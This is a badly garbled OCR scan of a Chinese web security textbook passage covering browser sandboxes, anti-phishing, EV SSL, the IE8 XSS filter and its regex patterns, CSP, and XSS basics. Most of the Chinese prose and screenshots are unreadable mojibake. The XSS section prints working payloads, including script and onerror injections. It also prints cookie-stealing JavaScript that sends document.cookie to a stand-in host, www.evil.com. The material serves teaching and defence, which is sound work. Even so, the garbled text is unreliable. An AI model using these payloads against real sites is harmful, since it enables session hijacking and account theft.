JE RIS, N2 B APT ORSER, fEIXLE APL & /™ A B0 RN A .

Sandbox [N FHYEEIAER) 2o Hln—NRAE hosting MRk 55 (3L EHIIAEG, BRI
_EA% PHP. Python. Java Z5i5 5 (ACRS, b T B AR BEA RS, slE 2 AR 2
) (R AR ELAH SR, R i% B vF—A> Sandbox X AR HEATIE 2. Sandbox i 27% & ] F1 4K
PR XA R GE WA Bl ER I AT RENT K, W] LCRATER IR (13RI, X T4 7
TR K, T DU R $ ke APT F 7 S

M T3 a8k vi, RH Sandbox $A, JTHERT LLLEAZAFAERIM IARRS . JavaScript X
TIZATAE— 52 BIBR I RS b, DT ORGP A Hh 35 R R G 1) 22 4

Google Chrome SEIL T —AMHEXT 5E £ 1) Sandbox:



32 AMEFIE Web %4

Broker
Interception
Manager
IPC Service [— Policy Engine — Policy
H
-
L]
T o
0 L]
. Target| 3
-
wewangn| IPC Client g
: | =
-
E Policy Engine
n Client
- .
-
H
-
-
-
H
: w
. Target| 3
-
LERR LY L] IPC Client —I g
=
Policy Engine
Client

Google Chrome [1J Sandbox %244

IE 8 W RHL T ZHEFE 48, 45— Tab GIRIZE —ANHERE, W2 IE 8 HIZEH:

IE 8 [f12a4
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| BUTORIGG UL, BRI, ERAEMBN, SRR
LTI Tab 50, TR S B0 22 SRR, 300 P PSR

=

R YA 22 A — MR, FEILA I g, BARAT 2 ERR R Sandbox RS,
R DN 25 PP N8 ) — 2656 — 5 4 AR S AT AN 32 Sandbox Bk . LLUIE AR AE Pwn20wn K2
Bl B g B, ARAE R TN i = A A B AT S 30U . Flash. Java.
PDF. .Net Framework 7554 K A BiCh 3 Yo i (1 #4 e o

WVFFEAIZ AR, fm*%%ﬁ%ﬁ@*%%%ﬁﬁ@%%zﬁﬁ#,KWFﬁZE%
WL ATR IS BUARHE, IR, A REREIXAS LB BN T3S 5 B 0 7

2.3 SRR

ATERR T T Bl REE BRI WA e Ay, FEAR 2 Ik, “HE S Mook AR SE
SAE—ANIEH I W 1T Il 1 <script>EX # <iframe>Z5 AR 2 N2 — AN R W k. kR TS BTN
RS M2 Ah, Byl VES s T P R B Fe Rk O T ORI 4,
NJWP%§TQE§%%%%ﬂ¥Hﬂj’%§ﬁﬂﬁ@%§ = Mk D fg . E1HU?§4‘&J”F%§E@%§§§%%E§Vﬂﬁtﬁ@%ﬂﬁ%%ﬁﬁ%
FET AR .

o O B A A S BRAR R 5, I A 0 o SOl DI 954 i SR X — 473 e T )%
%Hm%%$nm%ﬁﬁimﬁwﬁmﬂmﬁf?ﬂ%%$¢%m*%%*%ﬁ AN DU

C O alibaba. enlineaccountactivation. heereative. ca

B XAE WU:%%WJIE'

Pl4its4 alibaba.onli . ive.ca BIPYE ERER A P LR Pl IRTRREEE B R T SRR
#4, RRAPET AR 2SN SEE.

=B

MBENNETT RN, RO RAE.

Google Chrome [ 385t P 124 472 45

W LB R L 2> A e — S T 3, T Y vk L A % AR Qi JavaScript
oY, Flash, 1A AR R CRFE—L4G0F . 3 4F0WIHD $04T shellcode, 76 F HL i
AR Sy Bt Wk, 38 A 50 44 Il (R A AL 0 T SR 30 3 FH P
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FEPUNIK PRI 3, 5 B VF 2 5 T U RF AL R, T X SR TﬁAﬁﬂig
S, RN ik B A UL T BIFFE I SEl X LR o I_JHTXT?JEHF%%Z EPNIR IS
Kk, WCHE L D IRl 1 (0 0 s sk g MR IR AL AT, HAEE R TR

FET RPN AL, DR H iU DA R R Bk BR A 0 T, AR FR A
X5 D Il (KRR A4 BEATHEA AR D E A S s AR B, s AE % ) i i SRR . LA
e 2 Sl a) RRIT e, e a) el IR E ML A 5

SN S R, L Google AR, M T A S ORI R SE R, HOCHEAR
TREM ) HE, K A A 24 BIABCR RIS T4, A D3R 30 4 B 48 L i) 2R 44
B TR GOk, X B PR L SR .

PhishTank J& HIF 40 2 SR AL R LR A A2 —, BRI R A F T 5 A i
BB, HEHAE

username

P 4
PhlShTal'lk’ Out of the Net, into the Tank. S

GOTOEM Add A Phish  Verify A Phish  Phish Search Stats FAQ Developers Mailing Lists My Account

Join the fight against phishing

Submit suspected phishes. Track the status of your submissions.
Verify other users’ submissions. Develop software with our free API.

Found a phishing site? Get started now — see if it's in the Tank:

| | [1sita phish?

Recent Submissions
You can help! Sign in or register (free! fastl) to verify these suspected phishes,

D URL Submitted hy
1257366 http:/fwoman.ca/plugins fuserfwww itau.com br-GRIPH. .. rgarcia
1257365 http: /fwwew iglesiaev angelicabethel.com/modulesfmod. .. gnidia
1257364 http: ffwww reauto. plfgieldafimg/halifas.co.ukfonli.. cleanmz #
1257363 http: /fsecure runescape.com runescsape-weblogin.co... Matty0364
1257361 http:/fsecure runescape.com runescsape-weblogin.co.., Matty0364
1257360 http: /fstudentp .= 10 .mx/ werighbre
1257358 http: ffwewew jagexmodapplying tkf zender2
1257357 http: /fsecure runescape.com. login.ntlogin.comfwebl... ElloGownr
1257356 http: ffduska4.my2gb.com/findes.htm zender2
1957355 httr dimmnomineseans Hel zandar?

PhishTank f#):% = M 151 3%

FAIH, Google t AT T P #4d FH ¥ SafeBrowsing API, ATA 41 ZLEAN NS 1] LATE = i
RN, PARIX Google A= M AL .

B TSR ik B AL R T RE AL, SR IR Y SR R T 4R S B EV SSL AIE 15 (Extended Validation
SSL Certificate), LA 5 AT %2 4% W 3t (K1 )

EVSSL UF & 2 ERECAUE - AU MU S50 Y8y ) i — 4T Lmi*ﬁiiﬂ%,,\az%#@%
W B 245 F EVSSL iF T4 kA58 . EVSSL IF P EE X509 FruE, FFiarae s mir .
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RN A ANSCRF BV B, WS A MO i 5, W R A SO Ry G SRR ARCAR 1
WYEEE EV B, W AEH AR AR bR o

F IE .

[ Get the green address bar. ]

@'{'}‘ - |@5 h!:h:ls:,|f,|f\n\lw\n\l.imagine\-'cursitehere.o::m‘h‘a M% VeriSign, Inc. [US] | > |

Security status bar toggles between
your organization name. ..

EV ilF 57 IE FFIRCR

1F Firefox H':

'_H GEPLEI R TR Fiktps: | v, paypal comfusfogi-binfwebscrPomd=_homed
8 Wiou are connecked to
paypal.com
f v l wihich is run by
PayPal, Inc.
San Jose
r California, U3

Verified by: VeriSign, Inc.

Your connection to this web site is encrypkad bo prevent
eavesdropping.

e

- | More Information... ]

EV il $57F Firefox 1 #20R
1138 1) https 1F 15 AT SR €0 e H 32

@?: v [€] sttps:/fwew. shongray. cons 4]
e ®EE ZEW GERe TAD B
DB @Wedme - poral Cine | @HHE - 228AL. x| | -8 -
4  dedis Ao BR | EF | AEEBE
> BEA1311ME shergpoy.com %

T tiE T = S s R

BT EHERA EHEE
BB UEFAE IE PR

P AEAE ] T BV SSLAES i, 7T LA Al PO Se M £ 0 B e s kA ) 2
@ KL, DR
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e [&] netps unr paypal. con/c2 |5 para, Tne [us] |42

| IE &EE@ FEW O WEEE ITAO o
7 W @ Weleome - PapFal China | |

|t -8 - -

SionUp | Loaln | Help | Sec

PayParl

B Chin

#H] EV IET M £ TE T IRCR

SRR 22 P o6 D U 2 (R I T Dy i AN AR, EVSSL iF 15 (R385 5 1 AR S, {F Bt 5 1) 1)
RIS, HHEil EVSSL IE B AT AUET BEZHNR A N Lo

24 ESIRAENINSGZZEZE

P L A AU 5 TS R AR O, LA RIS A SRAEAN IR ST, AN T HE BT )
é?lbﬁbo

N T A ZARERAF T4 ), WA SEAE TE 8 thHEH T XSS Filter Difig, H LGB S 44
XSS. —HLK, XSS (EuliIAT ) #BEIA K 2 IR 55w N RI9R ,  Ni ph IR 55 4 i [
FHEARS R B AL, TR ICHE 11X DhRE, AUAES 1E 8 8 2 ax il HRs (1

S U5 9 URL A8 T XSS Buadi ARSI, 1B w12 o ip i Se i A A i S
DRI SE G IR SR RAE

._“_" ’ L3 é% http://www.eniclawrence.com/test/xss/Hello.aspTbtMName= %3Cscnpt33Ea » ‘rl #X P ET Live Search § ] |
E 5 XSS Hello World - v [ L o &
ﬂ Internet EKP'DVGF modified this page to prevent a potential cross-site §(flp|l|'|q attack, Click here for more information... i
Hello, alert("'bang! script :
injection\n'"+document.cookie);
‘ H L )
Done & Internet | Protected Mode: On HF100% -
A
IE 8 #4147 XSS it

A L AR OB R ) TR S T IE 8 BT PAT SCA, 45 3T T LR

{(Vl(&[#()\[\] °0*((86)|(56)|(118)|(76)),°))([\

1x T1(&l# ONIN].1x20* (9] (13) | (10) |A|D)
i?2))* (bl ( JNINT . 1x20* ((66) | (42) | (98) | (62)); (INET T (&T# (ONIN]-1x20* (9] (13) | (10) |A
ID)7?))* ( I( [#()\[\] 1x20* ((83) | (53) | (115) | (7 )) °))([\t]|(&[#()\[\] 1x20% (91 (13) | (1
0) IAID);?)) *(c| (&[# () \I\]. ]X°0*((67)|(43)|(99)|(63)),°))([\t]I(&[#()\[\] 1x20* (9] (13)
| (10) [A[D);2))*{ (x| (&[# ()\NI\].1x20*((82) | (52) [ (114)](72));?))} ([\t] #ONINT - 1x20%* (
91(13) [ (10) [A[D);2))* (1] (&[# () \I\]. ]X°0*((73)|(49)|(105)|(69)),?))([\t]|( #FONIN . Ix
20* (91 (13) [ (10) [AID);2)) *(pl (&[# (O NI\].1x20* ((80) | (50) | (112) | (70));?)) ([\t ]I(&[#()\[\
1.1x20% (9] (13) | (10) [A[D);?)) * (] (&[# ()\[\].1x20* ((84) | (54) | (116) | (74));2)) (I\E]| (&[#(
JNINT . Tx20* (9] (13) | (10) [A[D);2)) * (| (&[# ()\[\].1x20*((58) [ (3A));?)).}

{1 (&I ONIN] - 1x20* ((74) | (4R) | (106) | (6A));?)) ([\EI | (&[# () \NI\].1x20* (9] (13) ]| (10) |A|D)



2w WAL 37

7?))*(al (&[# O NI\T.1x20% ((65) | (41) | (97) | (61));2)) ([\t]] (& 1x20* (9] (13) | (10) |A
ID):?))* (vl (& [#()\[\]-]X°0*((86)|(56)|(118)|(76)) ?)) ([\t AN\ .1x20% (9] (13) | (1

[#()\ \T.

11 (&l# ()

0) IAID);?)) *(al (&[# () \NI\]. ]X”O*((65)I(41)I(97)I(61)),°))([\t] &[#()\[\] 1x20* (9] (13)
?)) t]

) ([

[ (L0) [AID);?)) *(s| (&[# O NI\]1.1x20%((83)1(53)1(115)|(73)); [\ I(& #()\ \1.1x20* (9]
(13) 1 (10) IA|D);?)) *(c| (& [#()\[\]-]X?O*((67)I(43)|(99)|(63)) \t] #()\[\]-]X?O*
(91 (13) 1 (L0) [AID) ;2)) *{ (x| (&[# ()\I\]. ]X”O*((SZ)I(52)I(114)I(72)),9))}([\t]l(&[#()\[\]
-1x20% (91 (13) | (10) [AID);2)) * (L1 (&[# O NI\]1.1x20*((73) | (49)|(105) | (69));?)) ([\tll (&[#()
\NINT.1x20* (9] (13) | (10) [A[D);?))* (p| (&[# ()\[\].]X?O*((SO)I(50)|(112)|(70)),- ) (I\NE] 1 (&
[# ONINT.1x20* (9] (13) | (10) [AID);2))*(t| (&[# O NI\].1x20* ((84) | (54) | (116) | (74));?)) ([\t
TI(&[# ONINT . 1x20% (9] (13) | (10) [A[D);?))* (:| (&[# ()\N[\].1x20*((58) | (3R));?)).}

{<st{y}le.*2>.*2 ((Q[I\\]) [ (([:=11(&[# ()\I\].1x20*((58) | (3R) [ (61)[(3D));?)).*2(L(\\]I(
&L# ()NINT . 1x20% ((40) [ (28) ] (92) | (5C)):2))))}

{0 /+\E\N"\ " "Ist{yllel /+\tl1*2=.*2([:=]]| (&[# () \[\]1.1x20* ((58) | (3A)] (61)](3D));2)).*2(I[
ANT I (&[# ONINT.1x20% ((40) | (28) | (92) | (5C));?))}

{<OB{J}ECT[ /+\t].*?((type) | (codetype) | (classid) | (code) | (data)) [ /+\t]*=}
{<AP{P}LET[ /+\t].*2?code[ /+\t]*=}

{[ /+\t\"\' ldata{s}rc[ +\t]*?=.}

{<BA{S}E[ /+\t].*?href[ /+\t]*=}

{<LI{N}K[ /+\t].*?href[ /+\t]*=}

{<ME{T}A[ /+\t].*?http-equiv[ /+\t]*=

{<\?im{plort[ /+\t].*?implementation[ /+\t]*=}

{<EM{B}ED[ /+\t].*?SRC.*?=}

{[ /+\t\"\" I{o}n\c\c\c+?[ +\t]*?=.}

{<.*[:]vmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}

{<[i]?f{r}tame.*?[ /+\t]*?src[ /+\t]*=}

{<is{i}ndex[ /+\t>1}

{<fo{r}m.*2>}

{<sc{r}ipt.*?[ /+\t]*2src[ /+\t]*=}

{<sc{r}ipt.*?>}

(ON"\"]0 1% ((["a=20-9~_:\"\" 1) | (in)) .*2 (((1] (\\u006C)) (o] (\\u006F)) ({c}| (\\u00{6}3))
(al (\\u0061)) (| (\\u0074)) (i| (\\u0069)) (ol (\\u006F)) (n| (\\u006E))) | ((n] (\\u006E)) (a] (
\\u0061)) ({m} | (\\u00{6}D)) (e| (\\u0065)))) .*2?=}

(IN"N'TL 1% (([7a=2z0=-9~_:\'"\" 1) | (in)) .+2{[\[]}.*2{[\]]}.*?=}

IOV 1 ((Pe=m0=8~ g\ N D) || (i) ) o=+ B Lo 1) ) o= B=;

CIN"N"To*2{\) [ 1*((["a-z0-9~ :\"\" 1) | (in)).+2{\(}}

{IN"\"]0 1% ((["a=-2z0=-9~ :\"\" 1) | (in)) .+2{\ () .*?2{\}}}

IXSERU AT LAS 3R URL H i) XSS Koy, oA 22 4™ i T LU 5
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1M Firefox W AH IS, 7 Firefox 4 14 T Content Security Policy (CSP). 1X—3iH& &
H1 %4> % 5 Robert Hanson f 42 HIK),  HABE IS HIRgs 28 simik [ — A~ HTTP 3k, JFAEH il
I L THT Y TR ST 1) 24 W

HT XSS B aER A S =7 i B GO0 R, ok HTTP Sk, A DU IS it & nT
7.

XA [ 5 S TEE D 25 b e 28 S2 R 5 1S, Firefox 42 55— AN SCHF bR v 1) 3] 0 2% .

fFF CSP 73R, #A—/ HTTP iR\ 3k:

X-Content-Security-Policy: policy

Hrdr policy MIFHIAMIL RS, ol

X-Content-Security-Policy: allow 'self' *.mydomain.com
W ARSIk B mydomain.com M2 2748 R 8 2
Xn:

X-Content-Security-Policy: allow 'self'; img-src *; media-src medial.com; script-src
userscripts.example.com

WA R TARAT B S kIEAE, & n] LUNMEAT Z I B Fr . K B medial.com P8RSO,
LK userscripts.example.com [FHIA, A R ) — 4 4

CSP My il B ToAE A2 (0 h), (HIZ CSP HURLIIAC BB 2%, T Z s T, 1R

B T IX L) 22 A D RESN, NS IO A tBOROBLT, BEZ TISR K2 VF 2 b e (2
SRR Dhfg, (AR RERS SUFAFIIER LW IIRE, MM A R S8 u ek ig.

tednn, YEas b A6 Ty URL fIACBEEE S B ANF . 7E IE H, W1~ URL K58 115 i hT

WWW.EGoale com\abE
www . google . com/abc
HATFIFEAT A I8 Chrome, FF “\” A NFRUER] “/7.
{H /& Firefox HIAWIBLAENT, www.google.com\abe K # A\ A &AL HbHE, TEiE4T I

[FIFE “KUF” WAL, Firefoxy IE. Chrome #8230 iIH U1 ¥ URL:

www.google.com?abc
£

www.google.com/?abc
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Firefox Wi &8, EEEHAT R URL:

[http://www.cnn.com]
[http://]www.cnn.com
[http://www] .cnn.com

XTI RE RN “RUF”, FRWURPER A A, rIRe S Tl S e F s %
A, RMASET

AR N E=AINE GG R PR R S oo -y oY1 g B URC B QU AR NNk A BT U RN
R, Wotd s 1Y RS

P REANEE I = T AR I D fE, (Rt b ok, B T3 T A AR IR
b, AEAEA G WA RE AT REAT N . RN AFROBC R A T 0Lii JavaScript (AR,  EednmT
PAIEAT — SR8 0 22 175 SR 4 o

FEAG AR, 8 22 S — 28 BAT R D e R, EE 524 Trojan PWS.Chromelnject.A
TP e P E B o S o B QT 1R T P o SN TR A

"$ProgramFiles%\Mozilla Firefox\plugins\npbasic.dll"
"$ProgramFiles%\Mozilla Firefox\chrome\chrome\content\browser.js"

EARHIRAE T Firefox WA RS, AR I AES i AR, sifEse I 4R id & hs, Jf
FOLFIEFENR S A8 BIITIRE, War TR TR Bk

25 /NG

UYL AT TEBEA L, (o S BRSO H AR AT IFT AR LA
HEDL S, Ko SR R IS BN TTCTE, % AT i T P
PP TEIREIL0 7 20, S RE RS B TR — 4

UYL 280 A AR AR, VSR SN A BB RN Y 2 A A
S R T, R AR, PS4 R DA . S
YR RIS RSO KB e, S A F T 7 BT R T
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USRI T ( XSS )

EEUE A 5 (XSS) J& % P i HlA 22 4 i fF) k5 K. OWASP TOP 10 gl 2 k3t XSS
FIERF o ATERRE NI XSS B i J5i B, LA ] 1w B 55 46

3.1 XSS @&t

BvEIA T, X AFRIE Cross Site Script, ASK4E5 2 CSS, {HEN THZSFEAE
(Cascading Style Sheet, CSS) A7FTIX i, Jr LALE 22 44Ul “XSS”.

XSS Yrify, M FRRAEN “HTML A" ST ML, 4iA TR, i sEH P
PB4 G, PR D S ) R B . AR TT AR, XRS5 R A, T LAY
i “EESEIA” . (HJE R FEEIAK, M JavaScript K135 K Th g DL 9 sl wi s v (0 &2 24k, 2
MO AT EL, HEH T RERE, XSS EAKZFH—HIRE T K.

XSS KILKAS N % ) v Web 24P K Sk 5 K. B XSS A Jrsiok,  Hym A3
SO, MELL— IR MERRE D DUAEME IE RIS s BTX R AN 755 A2 1 XSS, /7 X7y
SO Rre RN, S22 N I AEEATIAR JE XSS WA 1l o

WA, Aot XSSWe? BF T
s —AN DU A P 4 N I 2 8CE et H 21 o F
<?php

Sinput = $ GET["param"];
echo "<div>".$input."</div>";

?>
TEIEHEOLT, H P W param #8488 2 s 2L, ELandeses:
http://www.a.com/test.php?param=iX & — k!

SAFRNIIN T S5 R
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L] http:ffwww. 3. comftest. php?par an=¥IS¥E2¥CAKCT¥I2¥EEXEOHFE E2HCARDY |

= s B®EO U"‘“ *
) Gsogle BHER (100 @] [ http:// R~ @ [ @ How to arite insser &)] 8
EE— IR

nazilla mezillafjis= (@) | € brp

IEH B PR
WA DR AR, P EUE 3
<div>IXE— MR </div>

{2 W R$E AT — B HTML XA

http://www.a.com/test.php?param=<script>alert (/xss/)</script>

2RI, alert(/xss/)TE 4 HT GLUHIHAT T -

|| http:ffwww. s com/test. php?param=<scriptralert (fx=s/)1</script’

BT XSS Bl iR 4R
TR B

<div><script>alert (/xss/)</script></div>

PSR Script A, S5 AR, 10X SRR T A T A B8R 2 .
FHEXAMI S, A XSS IR R XSS

XSS MR AIA R R LS elan B JLK .

B—FRE: KR XSS

ST XSS HUR ] A P N B BN gl ey . MR U, RAE AT
B R AR, A RSah k. KON XSS W “HERF AR XSS
(Non-persistent XSS).

B PhRAL. AETRY XSS
B XSS S AN B “ APl AEIRSS St . IXPh XSS BATIR SR INAETE -

PO WA — st g, R T RS JavaScript AUE IR SR, CHEK
R, PrATVIAZIG R SCREI T, ASAEAATIRN s AT IX BOG K JavaScript AU
PRBIUE R A A R A7 B IR 55 4 3, T LKAl XSS Bkt i “ A7 it 1 XSS,
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TEfE Y XSS T % 4“3 A XSS” (Persistent XSS), KA MR Fokiit, SAEAE I
A] & EL KA o

HE=Fh%. DOM Based XSS
SEfr b, IXFRSEA XSS FEARL IR B S IRAAAE IR S s K Kll4>, DOM Based XSS

MR ol A2 S B 1 XSS, R ok, JEFE2S DOM Based XSS HIHZ R B LU Be4E 57
RINE B AL TR T IX M XSS, TP s i ], st e e — A2 T

T & BT ) DOM 715 S ) XSS, #RZ2 5 DOM Based XSS.

F U AR

<script>

function test () {
var str = document.getElementById("text") .value;
document.getElementById ("t") .innerHTML = "<a href=""+str+"' >testLink</a>";

}
</script>
<div id="t" ></div>

<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

st “write” HZHLG, AR RTIUHHEA B EEE,  HHUIE ) SCRHE R N 2

tegtlink

Itesturl iwrite

FEIX L, “write " ¥4 4111 onclick FEAFRH T testORRE . MTE testORR &, 1525 T WU ) DOM
i A, Wi innerHTML 32— B /2 30 2445 HTML B AR TUE Y, Xt % T DOM based XSS.

FIE U T s -
' onclick=alert (/xss/) //

NG, DU AR EAR R T
<a href='"' onlick=alert(/xss/)//' >testLink</a>

B ARG A href SSRGS, SRJEHEA A onclick S, f )5 FEHITE
FERE /)7 SRS 051

R IEASE R SO, AR B AT -

testlink

[click:alert (/xss/) [/ _wwite

B RMAYIAT
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SEbr b, X BT Sy Ah IR 7 Bk TR ASE R AL, B AT DL BRI i <a>
PR, FREAN—NH HTML #2528 P
'><img src=# onerror=alert (/xss2/) /><'

GRS AZ B T
<a href=''><img src=# onerror=alert (/xss2/) /><'' >testLink</a>

JHA kAT«

I:I<” ctestlink
or=alert (/xss2/) /> write

#H http://wer. 2 com E x|

AT

3.2 XSS WM

3.2.1 #I#R XSS Payload
RISCREN T XSS LR 2. 8 ok, b e 1R A0 BE R AR — T XSS 177

XSS Kkl M, Bk B I 2 i ) DR A R R A, Sl Rl A,
FIP I s o X4 ] DLSE I P BAR DO BE IR RMIAS, 7kl “XSS Payload”s

XSS Payload 3B [l JavaScript JIAC AW LU Flash BRHAR & & b A, B
AF{7T JavaScript IARESLIL T fE, XSS Payload #fiFefi .

— AN ILIP) XSS Payload, A2 38 i 20N W AR 1) Cookie X4, M A “ Cookie HjHF”
Biiti

Cookie "' BUINE LRA7 T 210 18 AEE . Cookie WA Z K, AEAE R HI F K6 5%
SEUEZ K. BRI, b vl AL %05, 1 E RS sl ik .
R, B Sk AN m R A

http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>

FLIE[) XSS Payload 5 753X Nz RE AR, 38 5 42/ URL 11 24U 5 N K & 1Y) JavaScript
(AP

7t eviljs 11, ATLAE IS a1 R AR ETHL Cookie:

var img = document.createElement ("img") ;
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img.src = "http://www.evil.com/log?"+escape (document.cookie) ;
document .body.appendChild (img) ;

RXBACEAE U RN T 5KE A WMEF,  [FAINHE document.cookie X A ZHUAI%
FEFERSS 25

Fi52 b, http//www.evil.com/log FEA—EBAEAE, FUMIXAE R STEE RS 451K Web
HEP T idsx:
127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] "GET /log?cookiel%3D1234 HTTP/1.1" 404 288
XFE, RIER T AR L BT Cookie (1) XSS Payload.

AR A H 53 B Cookie &% H AR P K P e 21X A1 “FIH B & X Cookie V5[] Buk” 11
HRE—FER, ZHE WM.

fE Firefox H 5 i) P O E BES ], B 5 &E 2XE1 1 Cookie:

EL BRI SIWLE b LB REI

aulliks k! | FEE S (00

KRS T

Securlty just lik3 a girl. BOth of th3m hdve s0me hOles. YOu alwdys try to f1nd the hOle, but nOt Svery tim3 yOu cdn Jxpll
Fm | EE | El | AR R EERL

ENE Bt
BRI X - javalER AR
{EH http://hi_baidu con FIRES:

), BAIDUID=EEDSCATSF1ZBOZCACRART4FTSCI4Z344: Fo=1; BDSTAT=RcfZc84dr3345581546ddd1 4780905701 baed 32759441 43h04h 1137 e
TMI=1; Hn_lvt eedecBcbB1594T0£2c25422d1 a9fe £To=126439T701240; Hn_lvt_4418ad3bIadade3bSE2e5E4c3all c54=127540825312
EDSP=4bd1TObEE35 2381 edl d3e0£oBT55202B94T261 eb3701 dccfelfoal BT £32BT09 9370 £3beTI£3dFEAcdl00b al cdl 1728b4T10b31 25
EDSPINFO=8099co£3095bb23720z 000 |anll115 |aulliks | 56522048737 ab332 e3020bB 42 £313;

EDUSS=VEUHE 20C1 rMEda¥V2RIRLZS] aal ATQURDBHNEZFR=THL 4VHx0T JBH¥DZ jV3RNGVF BOUF BICOARMAMARAAMADBDVIusUEY XVsbG1rNIANAAY
EDOPINFO=8099cc£3025b8b23720z e cad |anl11k5 |aullikS | B85 ea20d48737ab332 63020064913, IN_o14-0 | gbsvuseS

E

[

SR BT | R | MIES | 0 I A

TE 2407 T ) Cookie {H
SRIGHTITIE, Vilal[E—A 0. BIAE IE B, H PR REFORS:

X 5iz57 Gi_8SFH - Vindors Internet Explorer LB
:5 e [&Tr 7 betdn con/ i | Y| ER 0
IHE WEE FEW WEkw TAD B

ClEE  [E]AmRes W AR || (G-me o E e TER- 20 A0 & O @ D 1
HEZH | EEAT |EE

KRESTE

Security just lik3 & girl. BOth of tham hdve sOme hOles. Y ahwdys try to find the hOle, but nt Svery tiri3 y0u c4n Sxpi0it t!

im | WF | AR AR FE

xERAXR TABR

B XA javaER FRHE 2 aulliks
i

21007461748 J e~

Struts2 REF MBS FRTRE, RUSPOCRIATXF, TREFESSH, FdiHneeacBETMIE

BT, RSATERTFRT, 09,

e FRBAFISEERE S S IUNEE
BRA—T. RERINOWA. LERNIERE! B 349 AR
WIELTE EwILY
QEENE DBHEE

S BEHE— SRR spring mve) — 4TI HRBEVER. BERE 22t RKITRLHE

R AT ARG SRS



sp

HI3T BWiEAYGE (XSS) 45

#% Firefox H & 3% J5 i) Cookie itk 2K, JFLLZ ¥ 450 IE 1) Cookie. FHT KIiXIX

x

Request | Bosponse

GET hitpithibaidu.comfaullikd HTTRN A -
Accept =™

AcceptLanguage: zh-cn

User-Agent: Mozillaid.0 (compatible; MSIE 7.0, Windows NT 5.1; Trident’4.0; NET CL

R 2.0.50727, .MET CLR 3.0.4506.2152; MET CLR 3.5.30729; InfoPath.2) Paros/3.2.1

3

Proxy-Cannection: Keep-Alive

Host: hibaidu.com

Pragma: no-cache

Cookie: BAIDUID=EEDBCY75F12B92CYCEAEY4FTECD42344:FG=1, BDSTAT=6CT2C
B4dc33da581546ddd1d2909ca201 haedad27394d143h94bd113770e1 21, BDTIP=1
279166004-0-0-1245235129, BDO_UTK_DVT=1, ED=0; USERID=2d5f32910b270344 ;I

A5 [l — Cookie fE FH &
S AR DTS e EE:| AL Al Rt ke et Ik

]
Requast ResponSEI
HTTRi1.1 200 QK -

Date: bton, 19.Jul 2010 05:43:19 GMT

Server: apache 1.1.26.0

Set-Cookie: BDSP=4hd170bE338aab1ed! d3e0ic67 85200694 7261eb3701 4ccfedfc
al67f3e6709c93d70cf3be? I3 Bded1 00baat cd11728b4 710091 2e8fce Joec fdfc 03
92450685043M3784a4c27d1 ed21h0efd1bdSadbeddcd 51 daBlch39dbhafd5 2664016
0a2478e4;Domain=hibaidu.com;Path=/

Set-Cookie: BDSTAT=6er2c84dc33da5815460d01d2908ca201haeda327394d143h8
4bd11377f0e121;Domain=.hi haidu.com;Path=rExpires=\Wed, 28-Mov-37 01:45:46 G
MT

Set-Cookie: BDSP=deleted;Domain=baidu.com;Path=/Expires=Mon, 01-Jan-1970 0
0:00:00 GMT

=-STATUS Ok--=

=html==head==meta hitp-equiv=content-type content="text’himl; charset=gh2312"=
=link rel="alternate” type="applicationirss+xml" tile="iT BiZNE/IEEITE" hre="htt
pithibaidu.comiaullikairss"=

<style type="texticss">

#lavouttahle-layoutfixed}

#1ayout to.c 211 padding-left1 Op)

#layout td.c 242 wictth: 20px}

#ayout to.c 23 padding-right:1 Dpcwicth:24 %}

=/5tyle=

=head=

=hody=

<CEnters

=script=

=]

ifunctiony LI

Raw View b l

W3 |

AR [ % Je (VAR AR I i

WUE—F, fRE HTML AR EIAMITIT G, aT DA R E A s 70K 5 BT
PN IbE-ACTH
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ARESZ K AETHA - Findows Internet Explorer

I’é‘ http/fuen a comftestl hinl
IHE MIEE SEW dEEkw TAD #EHo
R e | |

=l B [*2] x| [*Fcooete

[% -0 -0 - 38e- 22- IAQ-

aullik5 (W) OnOODWO) | BAVEE v | IR v | ERIANEE v |
EARSZE

Securlty just ik3 a girl. BOth of th3m hdve sOme hile

ﬂ%&%ﬁﬁ R EEPL

5. Y0u alwdys try to flnd the hlle, but n0t 3very tim3 v0u cdn 3xplOit it!

BESHEE  TAME BEE

PRCFEMORET, WA,

2010-07-16 1718

Stuts2 EFB TR TG, HHSPOCRERARR, FRHUTEERN, TidiMnceac D43 4
SHAERLT.

B R webF M IRM oI REHTRIR TR H .

£ aulliks
" e - 2
BIBIE—T, RAERMOTN, BERAERIE FT o
FI— A FEEHR — SR spring mvef) — M AHAFT ARSI AR, HETE- T2 LA HERNR EEERE
i ey
ERl. RAE |RE (M FEQ)| PO =FH EEit
Founder and Leader of Phdnt0r
HER) T HAISSL Securitv Team
2010-07-13 1825 Founder of SecINN Security
4 RET Hmalis B H AETHESSLv2AEE, FRaHiaE. Community

R[] T BB R A
FrLL, i XSS Wiy, wILASERL “Cookie $1FE” Xy, BEHIE S P RIKF

X RAESHH) Web 11, Cookie — & B R HIFEIE, WIS RACHI T i KA <

Halhir I Cookieo U1 Cookie AT YR % F imfs B, MIHHE I T Cookie Ji, Htn] LAAH
SN B S B PRI

Cookie ] “HttpOnly” FriRu] LB 1 “Cookie BIRF”, FA PRAER J5 1 &5 Hh i BAR N2 .
3.2.2 3&KHJ XSS Payload

EATEOR T AR STEL Cookie ) XSS Payload. fEASTIH, WA gd— 28T A sR K
XSS Payload.

“Cookie H1FF” FEAEFTA FIBHEA S A 2. AW ST G 1E Set-Cookie I 45 Cookie
R HttpOnly F51H: 4 9035 ) ] BE LT Cookie 5%/ i TP 4858 (AHIC A A87E “XSS B
RS HAARN ), TS XSS GHUT Cookie 2K 27 Yo

RIS, {5 XSS Bt Bl DYV I AR ORI
3.2.21 #ji& GET 5 POST iK

/NSNS HTTP PP 1) GET 8¢ POST WK, BRI AT 5g s #4E
TRk, AT JavaScript, B AT LATE U # B IR AR SR

ELAnAE Sohu (% A7 —RiSCHE, AUHL XSS WERE, iz flfige?
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REHEE  sasaer Wlece - dzwze mzmpr Lexv o B

testltestl 2 #& © #¥ [ B ™ # § 9 & 5= @ &
testitestl
RER El*=E © ChFmE G oREEE O EAmmsE

S A#E LB
¢ REHHE | B8

2010-07-19 | test FHE | B %
testrest
& i i
a8 (B -]
= 14 =
= = s

Sohu 1 & Ui
¥ Sohu 25 Py /e H T A7 AE XSS I, A8t JavaScript, XANEFELIT .
B IR S B R

http://blog.sohu.com/manage/entry.do?m=deletes&id=156713012

